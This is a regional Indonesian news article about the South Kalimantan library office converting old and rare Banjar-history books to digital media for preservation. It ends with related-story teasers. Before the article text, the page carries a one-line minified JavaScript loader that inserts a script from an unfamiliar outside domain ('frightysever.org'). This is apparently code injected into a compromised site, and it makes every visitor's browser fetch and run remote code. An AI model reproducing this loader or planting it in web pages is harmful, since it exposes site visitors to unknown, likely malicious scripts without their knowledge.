(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan menerapkan alih media pelestarian bahan pustaka. Selain melakukan pemeliharaan, perawatan, pengawetan, dan perbaikan.
Hal itu dilakukan Dispersip Kalsel pada bahan pustaka yang bernilai sejarah, seperti naskah kuno, buku langka, atau bahan pustaka yang memiliki kondisi fisik yang sudah rapuh dan tua.
“Alih media digital adalah salah satu kegiatan melestarikan bahan pustaka khazanah budaya bangsa, dengan mengalih bentuk dari bentuk asli ke bentuk media digital,” ungkap Kepala Dispersip Kalsel Dra Hj Nurliani Dardie melalui Kabid Pelayanan dan Pembinaan Wildan Akhyar, Jumat (18/2/2022).
Kabid Pelayanan dan Pembinaan menjelaskan, koleksi perpustakaan yang berbentuk cetak dari kertas, tidaklah dapat bertahan lama seiring dengan bertambahnya usia fisik. Sehingga menyebabkan kerusakan dari segi fisiknya baik akibat faktor internal maupun eksternal.
Baca juga: Vaksinasi Booster Dimulai, Bupati Banjar Suntik Dosis Ketiga
“Hal itu dilakukan seksi deposit, dipilih buku-buku bermuatan lokal. Seperti buku-buku sejarah Banjar, adat istiadat Banjar, kebudayaan Banjar, kesenian Banjar, dan hal-hal yang berhubungan dengan tradisi orang Banjar, tradisi turun-temurun masyarakat, apalagi buku-buku langka dan sudah tua usianya,” beber Wildan.
Selain sebagai upaya pelestarian koleksi yang bernilai historis, alih media digital juga sebagai upaya penyelamatan informasi yang terkandung di dalam bahan pustaka. Agar bisa terus dimanfaatkan oleh masyarakat dan generasi penerus.
“Khusus koleksi buku-buku itu, para pemustaka tidak diperkenankan untuk membawa pulang, hanya boleh dibaca di tempat,” tegas Wildan.
Dispersip Kalsel menargetkan dapat melakukan alih media digital sebanyak 50 judul, yang saat ini telah berjumlah ratusan, terkumpul dari tahun demi tahun berbentuk DVD.
Baca juga: “Jalan Bubur” Kini Sudah Mulus, Warga LUS Malah Takut Nyeberang
Pemeliharaan tersebut, jelas Wildan, juga sebagai pelaksanaan Undang-Undang Nomor 43 Tahun 2007 tentang Perpustakaan, dan UU Nomor 13 Tahun 2018 tentang serah simpan karya cetak dan karya rekam. (Kanalkalimantan.com/rls)
Reporter : rls
Editor : kk
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.